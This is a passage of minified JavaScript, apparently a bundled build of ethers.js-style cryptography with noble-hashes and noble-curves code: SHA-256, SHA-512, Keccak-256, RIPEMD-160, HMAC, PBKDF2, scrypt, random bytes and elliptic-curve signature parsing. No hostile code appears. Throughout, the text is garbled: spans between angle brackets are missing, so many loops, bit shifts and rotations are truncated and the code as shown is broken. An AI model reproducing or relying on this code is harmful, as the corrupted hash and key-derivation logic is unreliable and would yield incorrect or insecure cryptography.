Uint8Array(t),this.view=VA(this.buffer)}update(t){JA(this);const{view:e,buffer:r,blockLen:n}=this,A=(t=ti(t)).length;for(let i=0;in-i&&(this.process(r,0),i=0);for(let t=i;t>A&i),s=Number(r&i),a=n?4:0,c=n?0:4;t.setUint32(e+a,o,n),t.setUint32(e+c,s,n)}(r,n-8,BigInt(8*this.length),A),this.process(r,0);const o=VA(t),s=this.outputLen;if(s%4)throw new Error(\"_sha2: outputLen should be aligned to 32bit\");const a=s/4,c=this.get();if(a>c.length)throw new Error(\"_sha2: outputLen bigger than state\");for(let t=0;tt&e^~t&r,ui=(t,e,r)=>t&e^t&r^e&r,li=new Uint32Array([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]),fi=new Uint32Array([1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225]),pi=new Uint32Array(64);class di extends hi{constructor(){super(64,32,8,!1),this.A=0|fi[0],this.B=0|fi[1],this.C=0|fi[2],this.D=0|fi[3],this.E=0|fi[4],this.F=0|fi[5],this.G=0|fi[6],this.H=0|fi[7]}get(){const{A:t,B:e,C:r,D:n,E:A,F:i,G:o,H:s}=this;return[t,e,r,n,A,i,o,s]}set(t,e,r,n,A,i,o,s){this.A=0|t,this.B=0|e,this.C=0|r,this.D=0|n,this.E=0|A,this.F=0|i,this.G=0|o,this.H=0|s}process(t,e){for(let r=0;r<16;r++,e+=4)pi[r]=t.getUint32(e,!1);for(let t=16;t<64;t++){const e=pi[t-15],r=pi[t-2],n=WA(e,7)^WA(e,18)^e>>>3,A=WA(r,17)^WA(r,19)^r>>>10;pi[t]=A+pi[t-7]+n+pi[t-16]|0}let{A:r,B:n,C:A,D:i,E:o,F:s,G:a,H:c}=this;for(let t=0;t<64;t++){const e=c+(WA(o,6)^WA(o,11)^WA(o,25))+gi(o,s,a)+li[t]+pi[t]|0,h=(WA(r,2)^WA(r,13)^WA(r,22))+ui(r,n,A)|0;c=a,a=s,s=o,o=i+e|0,i=A,A=n,n=r,r=e+h|0}r=r+this.A|0,n=n+this.B|0,A=A+this.C|0,i=i+this.D|0,o=o+this.E|0,s=s+this.F|0,a=a+this.G|0,c=c+this.H|0,this.set(r,n,A,i,o,s,a,c)}roundClean(){pi.fill(0)}destroy(){this.set(0,0,0,0,0,0,0,0),this.buffer.fill(0)}}const Ii=Ai((()=>new di)),yi=BigInt(2**32-1),Ci=BigInt(32);function mi(t,e=!1){return e?{h:Number(t&yi),l:Number(t>>Ci&yi)}:{h:0|Number(t>>Ci&yi),l:0|Number(t&yi)}}function Bi(t,e=!1){let r=new Uint32Array(t.length),n=new Uint32Array(t.length);for(let A=0;At<>>32-r,wi=(t,e,r)=>e<>>32-r,vi=(t,e,r)=>e<>>64-r,_i=(t,e,r)=>t<>>64-r;const Qi={fromBig:mi,split:Bi,toBig:(t,e)=>BigInt(t>>>0)<>>0),shrSH:(t,e,r)=>t>>>r,shrSL:(t,e,r)=>t<<32-r|e>>>r,rotrSH:(t,e,r)=>t>>>r|e<<32-r,rotrSL:(t,e,r)=>t<<32-r|e>>>r,rotrBH:(t,e,r)=>t<<64-r|e>>>r-32,rotrBL:(t,e,r)=>t>>>r-32|e<<64-r,rotr32H:(t,e)=>e,rotr32L:(t,e)=>t,rotlSH:Ei,rotlSL:wi,rotlBH:vi,rotlBL:_i,add:function(t,e,r,n){const A=(e>>>0)+(n>>>0);return{h:t+r+(A/2**32|0)|0,l:0|A}},add3L:(t,e,r)=>(t>>>0)+(e>>>0)+(r>>>0),add3H:(t,e,r,n)=>e+r+n+(t/2**32|0)|0,add4L:(t,e,r,n)=>(t>>>0)+(e>>>0)+(r>>>0)+(n>>>0),add4H:(t,e,r,n,A)=>e+r+n+A+(t/2**32|0)|0,add5H:(t,e,r,n,A,i)=>e+r+n+A+i+(t/2**32|0)|0,add5L:(t,e,r,n,A)=>(t>>>0)+(e>>>0)+(r>>>0)+(n>>>0)+(A>>>0)},[bi,ki]=(()=>Qi.split([\"0x428a2f98d728ae22\",\"0x7137449123ef65cd\",\"0xb5c0fbcfec4d3b2f\",\"0xe9b5dba58189dbbc\",\"0x3956c25bf348b538\",\"0x59f111f1b605d019\",\"0x923f82a4af194f9b\",\"0xab1c5ed5da6d8118\",\"0xd807aa98a3030242\",\"0x12835b0145706fbe\",\"0x243185be4ee4b28c\",\"0x550c7dc3d5ffb4e2\",\"0x72be5d74f27b896f\",\"0x80deb1fe3b1696b1\",\"0x9bdc06a725c71235\",\"0xc19bf174cf692694\",\"0xe49b69c19ef14ad2\",\"0xefbe4786384f25e3\",\"0x0fc19dc68b8cd5b5\",\"0x240ca1cc77ac9c65\",\"0x2de92c6f592b0275\",\"0x4a7484aa6ea6e483\",\"0x5cb0a9dcbd41fbd4\",\"0x76f988da831153b5\",\"0x983e5152ee66dfab\",\"0xa831c66d2db43210\",\"0xb00327c898fb213f\",\"0xbf597fc7beef0ee4\",\"0xc6e00bf33da88fc2\",\"0xd5a79147930aa725\",\"0x06ca6351e003826f\",\"0x142929670a0e6e70\",\"0x27b70a8546d22ffc\",\"0x2e1b21385c26c926\",\"0x4d2c6dfc5ac42aed\",\"0x53380d139d95b3df\",\"0x650a73548baf63de\",\"0x766a0abb3c77b2a8\",\"0x81c2c92e47edaee6\",\"0x92722c851482353b\",\"0xa2bfe8a14cf10364\",\"0xa81a664bbc423001\",\"0xc24b8b70d0f89791\",\"0xc76c51a30654be30\",\"0xd192e819d6ef5218\",\"0xd69906245565a910\",\"0xf40e35855771202a\",\"0x106aa07032bbd1b8\",\"0x19a4c116b8d2d0c8\",\"0x1e376c085141ab53\",\"0x2748774cdf8eeb99\",\"0x34b0bcb5e19b48a8\",\"0x391c0cb3c5c95a63\",\"0x4ed8aa4ae3418acb\",\"0x5b9cca4f7763e373\",\"0x682e6ff3d6b2b8a3\",\"0x748f82ee5defb2fc\",\"0x78a5636f43172f60\",\"0x84c87814a1f0ab72\",\"0x8cc702081a6439ec\",\"0x90befffa23631e28\",\"0xa4506cebde82bde9\",\"0xbef9a3f7b2c67915\",\"0xc67178f2e372532b\",\"0xca273eceea26619c\",\"0xd186b8c721c0c207\",\"0xeada7dd6cde0eb1e\",\"0xf57d4f7fee6ed178\",\"0x06f067aa72176fba\",\"0x0a637dc5a2c898a6\",\"0x113f9804bef90dae\",\"0x1b710b35131c471b\",\"0x28db77f523047d84\",\"0x32caab7b40c72493\",\"0x3c9ebe0a15c9bebc\",\"0x431d67c49c100d4c\",\"0x4cc5d4becb3e42b6\",\"0x597f299cfc657e2a\",\"0x5fcb6fab3ad6faec\",\"0x6c44198c4a475817\"].map((t=>BigInt(t)))))(),Di=new Uint32Array(80),Si=new Uint32Array(80);class Ni extends hi{constructor(){super(128,64,16,!1),this.Ah=1779033703,this.Al=-205731576,this.Bh=-1150833019,this.Bl=-2067093701,this.Ch=1013904242,this.Cl=-23791573,this.Dh=-1521486534,this.Dl=1595750129,this.Eh=1359893119,this.El=-1377402159,this.Fh=-1694144372,this.Fl=725511199,this.Gh=528734635,this.Gl=-79577749,this.Hh=1541459225,this.Hl=327033209}get(){const{Ah:t,Al:e,Bh:r,Bl:n,Ch:A,Cl:i,Dh:o,Dl:s,Eh:a,El:c,Fh:h,Fl:g,Gh:u,Gl:l,Hh:f,Hl:p}=this;return[t,e,r,n,A,i,o,s,a,c,h,g,u,l,f,p]}set(t,e,r,n,A,i,o,s,a,c,h,g,u,l,f,p){this.Ah=0|t,this.Al=0|e,this.Bh=0|r,this.Bl=0|n,this.Ch=0|A,this.Cl=0|i,this.Dh=0|o,this.Dl=0|s,this.Eh=0|a,this.El=0|c,this.Fh=0|h,this.Fl=0|g,this.Gh=0|u,this.Gl=0|l,this.Hh=0|f,this.Hl=0|p}process(t,e){for(let r=0;r<16;r++,e+=4)Di[r]=t.getUint32(e),Si[r]=t.getUint32(e+=4);for(let t=16;t<80;t++){const e=0|Di[t-15],r=0|Si[t-15],n=Qi.rotrSH(e,r,1)^Qi.rotrSH(e,r,8)^Qi.shrSH(e,r,7),A=Qi.rotrSL(e,r,1)^Qi.rotrSL(e,r,8)^Qi.shrSL(e,r,7),i=0|Di[t-2],o=0|Si[t-2],s=Qi.rotrSH(i,o,19)^Qi.rotrBH(i,o,61)^Qi.shrSH(i,o,6),a=Qi.rotrSL(i,o,19)^Qi.rotrBL(i,o,61)^Qi.shrSL(i,o,6),c=Qi.add4L(A,a,Si[t-7],Si[t-16]),h=Qi.add4H(c,n,s,Di[t-7],Di[t-16]);Di[t]=0|h,Si[t]=0|c}let{Ah:r,Al:n,Bh:A,Bl:i,Ch:o,Cl:s,Dh:a,Dl:c,Eh:h,El:g,Fh:u,Fl:l,Gh:f,Gl:p,Hh:d,Hl:I}=this;for(let t=0;t<80;t++){const e=Qi.rotrSH(h,g,14)^Qi.rotrSH(h,g,18)^Qi.rotrBH(h,g,41),y=Qi.rotrSL(h,g,14)^Qi.rotrSL(h,g,18)^Qi.rotrBL(h,g,41),C=h&u^~h&f,m=g&l^~g&p,B=Qi.add5L(I,y,m,ki[t],Si[t]),E=Qi.add5H(B,d,e,C,bi[t],Di[t]),w=0|B,v=Qi.rotrSH(r,n,28)^Qi.rotrBH(r,n,34)^Qi.rotrBH(r,n,39),_=Qi.rotrSL(r,n,28)^Qi.rotrBL(r,n,34)^Qi.rotrBL(r,n,39),Q=r&A^r&o^A&o,b=n&i^n&s^i&s;d=0|f,I=0|p,f=0|u,p=0|l,u=0|h,l=0|g,({h:h,l:g}=Qi.add(0|a,0|c,0|E,0|w)),a=0|o,c=0|s,o=0|A,s=0|i,A=0|r,i=0|n;const k=Qi.add3L(w,_,b);r=Qi.add3H(k,E,v,Q),n=0|k}({h:r,l:n}=Qi.add(0|this.Ah,0|this.Al,0|r,0|n)),({h:A,l:i}=Qi.add(0|this.Bh,0|this.Bl,0|A,0|i)),({h:o,l:s}=Qi.add(0|this.Ch,0|this.Cl,0|o,0|s)),({h:a,l:c}=Qi.add(0|this.Dh,0|this.Dl,0|a,0|c)),({h:h,l:g}=Qi.add(0|this.Eh,0|this.El,0|h,0|g)),({h:u,l:l}=Qi.add(0|this.Fh,0|this.Fl,0|u,0|l)),({h:f,l:p}=Qi.add(0|this.Gh,0|this.Gl,0|f,0|p)),({h:d,l:I}=Qi.add(0|this.Hh,0|this.Hl,0|d,0|I)),this.set(r,n,A,i,o,s,a,c,h,g,u,l,f,p,d,I)}roundClean(){Di.fill(0),Si.fill(0)}destroy(){this.buffer.fill(0),this.set(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)}}const Mi=Ai((()=>new Ni));const xi=function(){if(\"undefined\"!=typeof self)return self;if(\"undefined\"!=typeof window)return window;if(\"undefined\"!=typeof global)return global;throw new Error(\"unable to locate global object\")}(),Fi=xi.crypto||xi.msCrypto;let Pi=!1;const Ti=function(t,e,r){return function(t,e){const r={sha256:Ii,sha512:Mi}[t];return vn(null!=r,\"invalid hmac algorithm\",\"algorithm\",t),si.create(r,e)}(t,e).update(r).digest()};let Ri=Ti;function Ui(t,e,r){const n=Sn(e,\"key\"),A=Sn(r,\"data\");return Pn(Ri(t,n,A))}Ui._=Ti,Ui.lock=function(){Pi=!0},Ui.register=function(t){if(Pi)throw new Error(\"computeHmac is locked\");Ri=t},Object.freeze(Ui);const[Gi,Hi,Li]=[[],[],[]],Oi=BigInt(0),Yi=BigInt(1),Ki=BigInt(2),Ji=BigInt(7),ji=BigInt(256),zi=BigInt(113);for(let t=0,e=Yi,r=1,n=0;t<24;t++){[r,n]=[n,(2*r+3*n)%5],Gi.push(2*(5*n+r)),Hi.push((t+1)*(t+2)/2%64);let A=Oi;for(let t=0;t<7;t++)e=(e<>Ji)*zi)%ji,e&Ki&&(A^=Yi<<(Yi<r>32?vi(t,e,r):Ei(t,e,r),Wi=(t,e,r)=>r>32?_i(t,e,r):wi(t,e,r);class Zi extends ei{constructor(t,e,r,n=!1,A=24){if(super(),this.blockLen=t,this.suffix=e,this.outputLen=r,this.enableXOF=n,this.rounds=A,this.pos=0,this.posOut=0,this.finished=!1,this.destroyed=!1,OA(r),0>=this.blockLen||this.blockLen>=200)throw new Error(\"Sha3 supports only keccak-f1600 function\");this.state=new Uint8Array(200),this.state32=XA(this.state)}keccak(){!function(t,e=24){const r=new Uint32Array(10);for(let n=24-e;n<24;n++){for(let e=0;e<10;e++)r[e]=t[e]^t[e+10]^t[e+20]^t[e+30]^t[e+40];for(let e=0;e<10;e+=2){const n=(e+8)%10,A=(e+2)%10,i=r[A],o=r[A+1],s=Vi(i,o,1)^r[n],a=Wi(i,o,1)^r[n+1];for(let r=0;r<50;r+=10)t[e+r]^=s,t[e+r+1]^=a}let e=t[2],A=t[3];for(let r=0;r<24;r++){const n=Hi[r],i=Vi(e,A,n),o=Wi(e,A,n),s=Gi[r];e=t[s],A=t[s+1],t[s]=i,t[s+1]=o}for(let e=0;e<50;e+=10){for(let n=0;n<10;n++)r[n]=t[e+n];for(let n=0;n<10;n++)t[e+n]^=~r[(n+2)%10]&r[(n+4)%10]}t[0]^=qi[n],t[1]^=Xi[n]}r.fill(0)}(this.state32,this.rounds),this.posOut=0,this.pos=0}update(t){JA(this);const{blockLen:e,state:r}=this,n=(t=ti(t)).length;for(let A=0;A=r&&this.keccak();const i=Math.min(r-this.posOut,A-n);t.set(e.subarray(this.posOut,this.posOut+i),n),this.posOut+=i,n+=i}return t}xofInto(t){if(!this.enableXOF)throw new Error(\"XOF is not possible for this instance\");return this.writeInto(t)}xof(t){return OA(t),this.xofInto(new Uint8Array(t))}digestInto(t){if(jA(t,this),this.finished)throw new Error(\"digest() was already called\");return this.writeInto(t),this.destroy(),t}digest(){return this.digestInto(new Uint8Array(this.outputLen))}destroy(){this.destroyed=!0,this.state.fill(0)}_cloneInto(t){const{blockLen:e,suffix:r,outputLen:n,rounds:A,enableXOF:i}=this;return t||(t=new Zi(e,r,n,i,A)),t.state32.set(this.state32),t.pos=this.pos,t.posOut=this.posOut,t.finished=this.finished,t.rounds=A,t.suffix=r,t.outputLen=n,t.enableXOF=i,t.destroyed=this.destroyed,t}}const $i=((t,e,r)=>Ai((()=>new Zi(e,t,r))))(1,136,32);let to=!1;const eo=function(t){return $i(t)};let ro=eo;function no(t){const e=Sn(t,\"data\");return Pn(ro(e))}no._=eo,no.lock=function(){to=!0},no.register=function(t){if(to)throw new TypeError(\"keccak256 is locked\");ro=t},Object.freeze(no);const Ao=new Uint8Array([7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8]),io=Uint8Array.from({length:16},((t,e)=>e));let oo=[io],so=[io.map((t=>(9*t+5)%16))];for(let t=0;t<4;t++)for(let e of[oo,so])e.push(e[t].map((t=>Ao[t])));const ao=[[11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8],[12,13,11,15,6,9,9,7,12,15,11,13,7,8,7,7],[13,15,14,11,7,7,6,8,13,14,13,12,5,5,6,9],[14,11,12,14,8,6,5,5,15,12,15,14,9,9,8,6],[15,12,13,13,9,5,8,6,14,11,12,11,8,6,5,5]].map((t=>new Uint8Array(t))),co=oo.map(((t,e)=>t.map((t=>ao[e][t])))),ho=so.map(((t,e)=>t.map((t=>ao[e][t])))),go=new Uint32Array([0,1518500249,1859775393,2400959708,2840853838]),uo=new Uint32Array([1352829926,1548603684,1836072691,2053994217,0]),lo=(t,e)=>t<>>32-e;function fo(t,e,r,n){return 0===t?e^r^n:1===t?e&r|~e&n:2===t?(e|~r)^n:3===t?e&n|r&~n:e^(r|~n)}const po=new Uint32Array(16);class Io extends hi{constructor(){super(64,20,8,!0),this.h0=1732584193,this.h1=-271733879,this.h2=-1732584194,this.h3=271733878,this.h4=-1009589776}get(){const{h0:t,h1:e,h2:r,h3:n,h4:A}=this;return[t,e,r,n,A]}set(t,e,r,n,A){this.h0=0|t,this.h1=0|e,this.h2=0|r,this.h3=0|n,this.h4=0|A}process(t,e){for(let r=0;r<16;r++,e+=4)po[r]=t.getUint32(e,!0);let r=0|this.h0,n=r,A=0|this.h1,i=A,o=0|this.h2,s=o,a=0|this.h3,c=a,h=0|this.h4,g=h;for(let t=0;t<5;t++){const e=4-t,u=go[t],l=uo[t],f=oo[t],p=so[t],d=co[t],I=ho[t];for(let e=0;e<16;e++){const n=lo(r+fo(t,A,o,a)+po[f[e]]+u,d[e])+h|0;r=h,h=a,a=0|lo(o,10),o=A,A=n}for(let t=0;t<16;t++){const r=lo(n+fo(e,i,s,c)+po[p[t]]+l,I[t])+g|0;n=g,g=c,c=0|lo(s,10),s=i,i=r}}this.set(this.h1+o+c|0,this.h2+a+g|0,this.h3+h+n|0,this.h4+r+i|0,this.h0+A+s|0)}roundClean(){po.fill(0)}destroy(){this.destroyed=!0,this.buffer.fill(0),this.set(0,0,0,0,0)}}const yo=Ai((()=>new Io));let Co=!1;const mo=function(t){return yo(t)};let Bo=mo;function Eo(t){const e=Sn(t,\"data\");return Pn(Bo(e))}Eo._=mo,Eo.lock=function(){Co=!0},Eo.register=function(t){if(Co)throw new TypeError(\"ripemd160 is locked\");Bo=t},Object.freeze(Eo);let wo=!1;const vo=function(t,e,r,n,A){return function(t,e,r,n,A){const i={sha256:Ii,sha512:Mi}[A];return vn(null!=i,\"invalid pbkdf2 algorithm\",\"algorithm\",A),ci(i,t,e,{c:r,dkLen:n})}(t,e,r,n,A)};let _o=vo;function Qo(t,e,r,n,A){const i=Sn(t,\"password\"),o=Sn(e,\"salt\");return Pn(_o(i,o,r,n,A))}Qo._=vo,Qo.lock=function(){wo=!0},Qo.register=function(t){if(wo)throw new Error(\"pbkdf2 is locked\");_o=t},Object.freeze(Qo);let bo=!1;const ko=function(t){return new Uint8Array(function(t){wn(null!=Fi,\"platform does not support secure random numbers\",\"UNSUPPORTED_OPERATION\",{operation:\"randomBytes\"}),vn(Number.isInteger(t)&&t>0&&t<=1024,\"invalid length\",\"length\",t);const e=new Uint8Array(t);return Fi.getRandomValues(e),e}(t))};let Do=ko;function So(t){return Do(t)}So._=ko,So.lock=function(){bo=!0},So.register=function(t){if(bo)throw new Error(\"randomBytes is locked\");Do=t},Object.freeze(So);const No=(t,e)=>t<>>32-e;function Mo(t,e,r,n,A,i){let o=t[e++]^r[n++],s=t[e++]^r[n++],a=t[e++]^r[n++],c=t[e++]^r[n++],h=t[e++]^r[n++],g=t[e++]^r[n++],u=t[e++]^r[n++],l=t[e++]^r[n++],f=t[e++]^r[n++],p=t[e++]^r[n++],d=t[e++]^r[n++],I=t[e++]^r[n++],y=t[e++]^r[n++],C=t[e++]^r[n++],m=t[e++]^r[n++],B=t[e++]^r[n++],E=o,w=s,v=a,_=c,Q=h,b=g,k=u,D=l,S=f,N=p,M=d,x=I,F=y,P=C,T=m,R=B;for(let t=0;t<8;t+=2)Q^=No(E+F|0,7),S^=No(Q+E|0,9),F^=No(S+Q|0,13),E^=No(F+S|0,18),N^=No(b+w|0,7),P^=No(N+b|0,9),w^=No(P+N|0,13),b^=No(w+P|0,18),T^=No(M+k|0,7),v^=No(T+M|0,9),k^=No(v+T|0,13),M^=No(k+v|0,18),_^=No(R+x|0,7),D^=No(_+R|0,9),x^=No(D+_|0,13),R^=No(x+D|0,18),w^=No(E+_|0,7),v^=No(w+E|0,9),_^=No(v+w|0,13),E^=No(_+v|0,18),k^=No(b+Q|0,7),D^=No(k+b|0,9),Q^=No(D+k|0,13),b^=No(Q+D|0,18),x^=No(M+N|0,7),S^=No(x+M|0,9),N^=No(S+x|0,13),M^=No(N+S|0,18),F^=No(R+T|0,7),P^=No(F+R|0,9),T^=No(P+F|0,13),R^=No(T+P|0,18);A[i++]=o+E|0,A[i++]=s+w|0,A[i++]=a+v|0,A[i++]=c+_|0,A[i++]=h+Q|0,A[i++]=g+b|0,A[i++]=u+k|0,A[i++]=l+D|0,A[i++]=f+S|0,A[i++]=p+N|0,A[i++]=d+M|0,A[i++]=I+x|0,A[i++]=y+F|0,A[i++]=C+P|0,A[i++]=m+T|0,A[i++]=B+R|0}function xo(t,e,r,n,A){let i=n+0,o=n+16*A;for(let n=0;n<16;n++)r[o+n]=t[e+16*(2*A-1)+n];for(let n=0;n0&&(o+=16),Mo(r,i,t,e+=16,r,o)}function Fo(t,e,r){const n=ni({dkLen:32,asyncTick:10,maxmem:1073742848},r),{N:A,r:i,p:o,dkLen:s,asyncTick:a,maxmem:c,onProgress:h}=n;if(OA(A),OA(i),OA(o),OA(s),OA(a),OA(c),void 0!==h&&\"function\"!=typeof h)throw new Error(\"progressCb should be function\");const g=128*i,u=g/4;if(A<=1||A&A-1||A>=2**(g/8)||A>2**32)throw new Error(\"Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32\");if(o<0||o>137438953440/g)throw new Error(\"Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)\");if(s<0||s>137438953440)throw new Error(\"Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32\");const l=g*(A+o);if(l>c)throw new Error(`Scrypt: parameters too large, ${l} (128 * r * (N + p)) > ${c} (maxmem)`);const f=ci(Ii,t,e,{c:1,dkLen:g*o}),p=XA(f),d=XA(new Uint8Array(g*A)),I=XA(new Uint8Array(g));let y=()=>{};if(h){const t=2*A*o,e=Math.max(Math.floor(t/1e4),1);let r=0;y=()=>{r++,!h||r%e&&r!==t||h(r/t)}}return{N:A,r:i,p:o,dkLen:s,blockSize32:u,V:d,B32:p,B:f,tmp:I,blockMixCb:y,asyncTick:a}}function Po(t,e,r,n,A){const i=ci(Ii,t,r,{c:1,dkLen:e});return r.fill(0),n.fill(0),A.fill(0),i}let To=!1,Ro=!1;const Uo=async function(t,e,r,n,A,i,o){return await async function(t,e,r){const{N:n,r:A,p:i,dkLen:o,blockSize32:s,V:a,B32:c,B:h,tmp:g,blockMixCb:u,asyncTick:l}=Fo(t,e,r);for(let t=0;t{xo(a,r,a,r+=s,A),u()})),xo(a,(n-1)*s,c,e,A),u(),await $A(n,l,(()=>{const t=c[e+s-16]%n;for(let r=0;rt instanceof Uint8Array,Zo=Array.from({length:256},((t,e)=>e.toString(16).padStart(2,\"0\")));function $o(t){if(!Wo(t))throw new Error(\"Uint8Array expected\");let e=\"\";for(let r=0;rt+e.length),0));let r=0;return t.forEach((t=>{if(!Wo(t))throw new Error(\"Uint8Array expected\");e.set(t,r),r+=t.length})),e}const cs=t=>(Vo<new Uint8Array(t),gs=t=>Uint8Array.from(t);function us(t,e,r){if(\"number\"!=typeof t||t<2)throw new Error(\"hashLen must be a number\");if(\"number\"!=typeof e||e<2)throw new Error(\"qByteLen must be a number\");if(\"function\"!=typeof r)throw new Error(\"hmacFn must be a function\");let n=hs(t),A=hs(t),i=0;const o=()=>{n.fill(1),A.fill(0),i=0},s=(...t)=>r(A,n,...t),a=(t=hs())=>{A=s(gs([0]),t),n=s(),0!==t.length&&(A=s(gs([1]),t),n=s())},c=()=>{if(i++>=1e3)throw new Error(\"drbg: tried 1000 values\");let t=0;const r=[];for(;t{let r;for(o(),a(t);!(r=e(c()));)a();return o(),r}}const ls={bigint:t=>\"bigint\"==typeof t,function:t=>\"function\"==typeof t,boolean:t=>\"boolean\"==typeof t,string:t=>\"string\"==typeof t,stringOrUint8Array:t=>\"string\"==typeof t||t instanceof Uint8Array,isSafeInteger:t=>Number.isSafeInteger(t),array:t=>Array.isArray(t),field:(t,e)=>e.Fp.isValid(t),hash:t=>\"function\"==typeof t&&Number.isSafeInteger(t.outputLen)};function fs(t,e,r={}){const n=(e,r,n)=>{const A=ls[r];if(\"function\"!=typeof A)throw new Error(`Invalid validator \"${r}\", expected function`);const i=t[e];if(!(n&&void 0===i||A(i,t)))throw new Error(`Invalid param ${String(e)}=${i} (${typeof i}), expected ${r}`)};for(const[t,r]of Object.entries(e))n(t,r,!1);for(const[t,e]of Object.entries(r))n(t,e,!0);return t}var ps=Object.freeze({__proto__:null,bitGet:function(t,e){return t>>BigInt(e)&Xo},bitLen:function(t){let e;for(e=0;t>qo;t>>=Xo,e+=1);return e},bitMask:cs,bitSet:(t,e,r)=>t|(r?Xo:qo)<=ds?r:e+r}function vs(t,e,r){if(r<=ds||e 0\");if(r===Is)return ds;let n=Is;for(;e>ds;)e&Is&&(n=n*t%r),t=t*t%r,e>>=Is;return n}function _s(t,e,r){let n=t;for(;e-- >ds;)n*=n,n%=r;return n}function Qs(t,e){if(t===ds||e<=ds)throw new Error(`invert: expected positive integers, got n=${t} mod=${e}`);let r=ws(t,e),n=e,A=ds,i=Is;for(;r!==ds;){const t=n%r,e=A-i*(n/r);n=r,r=t,A=i,i=e}if(n!==Is)throw new Error(\"invert: does not exist\");return ws(A,e)}function bs(t){if(t%ms===Cs){const e=(t+Is)/ms;return function(t,r){const n=t.pow(r,e);if(!t.eql(t.sqr(n),r))throw new Error(\"Cannot find square root\");return n}}if(t%Es===Bs){const e=(t-Bs)/Es;return function(t,r){const n=t.mul(r,ys),A=t.pow(n,e),i=t.mul(r,A),o=t.mul(t.mul(i,ys),A),s=t.mul(i,t.sub(o,t.ONE));if(!t.eql(t.sqr(s),r))throw new Error(\"Cannot find square root\");return s}}return function(t){const e=(t-Is)/ys;let r,n,A;for(r=t-Is,n=0;r%ys===ds;r/=ys,n++);for(A=ys;A(t[e]=\"function\",t)),{ORDER:\"bigint\",MASK:\"bigint\",BYTES:\"isSafeInteger\",BITS:\"isSafeInteger\"})),fs(t,{n:\"bigint\",h:\"bigint\",Gx:\"field\",Gy:\"field\"},{nBitLength:\"isSafeInteger\",nByteLength:\"isSafeInteger\"}),Object.freeze({...Ds(t.n,t.nBitLength),...t,p:t.Fp.ORDER})}\n/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */const{bytesToNumberBE:Ps,hexToBytes:Ts}=ps,Rs={Err:class extends Error{constructor(t=\"\"){super(t)}},_parseInt(t){const{Err:e}=Rs;if(t.length<2||2!==t[0])throw new e(\"Invalid signature integer tag\");const r=t[1],n=t.subarray(2,r+2);if(!r||n.length!==r)throw new e(\"Invalid signature integer: wrong length\");if(128&n[0])throw new e(\"Invalid signature integer: negative\");if(0===n[0]&&!(128&n[1]))throw new e(\"Invalid signature integer: unnecessary leading zero\");return{d:Ps(n),l:t.subarray(r+2)}},toSig(t){const{Err:e}=Rs,r=\"string\"==typeof t?Ts(t):t;if(!(r instanceof Uint8Array))throw new Error(\"ui8a expected\");let n=r.length;if(n<2||48!=r[0])throw new e(\"Invalid signature tag\");if(r[1]!==n-2)throw new e(\"Invalid signature: incorrect length\");const{d:A,l:i}=Rs._parseInt(r.subarray(2)),{d:o,l:s}=Rs._parseInt(i);if(s.length)throw new e(\"Invalid signature: left bytes after parsing\");return{r:A,s:o}},hexFromSig(t){const e=t=>8&Number.parseInt(t[0],16)?\"00\"+t:t,r=t=>{const e=t.toString(16);return 1&e.length?`0${e}`:e},n=e(r(t.s)),A=e(r(t.r)),i=n.length/2,o=A.length/2,s=r(i),a=r(o);return`30${r(o+i+4)}02${a}${A}02${s}${n}`}},Us=BigInt(0),Gs=BigInt(1);BigInt(2);const Hs=BigInt(3);function Ls(t){const e=function(t){const e=Fs(t);fs(e,{a:\"field\",b:\"field\"},{allowedPrivateKeyLengths:\"array\",wrapPrivateKey:\"boolean\",isTorsionFree:\"function\",clearCofactor:\"function\",allowInfinityPoint:\"boolean\",fromBytes:\"function\",toBytes:\"function\"});const{endo:r,Fp:n,a:A}=e;if(r){if(!n.eql(A,n.ZERO))throw new Error(\"Endomorphism can only be defined for Koblitz curves that have a=0\");if(\"object\"!=typeof r||\"bigint\"!=typeof r.beta||\"function\"!=typeof r.splitScalar)throw new Error(\"Expected endomorphism with beta: bigint and splitScalar: function\")}return Object.freeze({...e})}(t),{Fp:r}=e,n=e.toBytes||((t,e,n)=>{const A=e.toAffine();return as(Uint8Array.from([4]),r.toBytes(A.x),r.toBytes(A.y))}),A=e.fromBytes||(t=>{const e=t.subarray(1);return{x:r.fromBytes(e.subarray(0,r.BYTES)),y:r.fromBytes(e.subarray(r.BYTES,2*r.BYTES))}});function i(t){const{a:n,b:A}=e,i=r.sqr(t),o=r.mul(i,t);return r.add(r.add(o,r.mul(t,n)),A)}if(!r.eql(r.sqr(e.Gy),i(e.Gx)))throw new Error(\"bad generator point: equation left != right\");function o(t){return\"bigint\"==typeof t&&Usr.eql(t,r.ZERO);return A(e)&&A(n)?g.ZERO:new g(e,n,r.ONE)}get x(){return this.toAffine().x}get y(){return this.toAffine().y}static normalizeZ(t){const e=r.invertBatch(t.map((t=>t.pz)));return t.map(((t,r)=>t.toAffine(e[r]))).map(g.fromAffine)}static fromHex(t){const e=g.fromAffine(A(ss(\"pointHex\",t)));return e.assertValidity(),e}static fromPrivateKey(t){return g.BASE.multiply(a(t))}_setWindowSize(t){this._WINDOW_SIZE=t,c.delete(this)}assertValidity(){if(this.is0()){if(e.allowInfinityPoint&&!r.is0(this.py))return;throw new Error(\"bad point: ZERO\")}const{x:t,y:n}=this.toAffine();if(!r.isValid(t)||!r.isValid(n))throw new Error(\"bad point: x or y not FE\");const A=r.sqr(n),o=i(t);if(!r.eql(A,o))throw new Error(\"bad point: equation left != right\");if(!this.isTorsionFree())throw new Error(\"bad point: not in prime-order 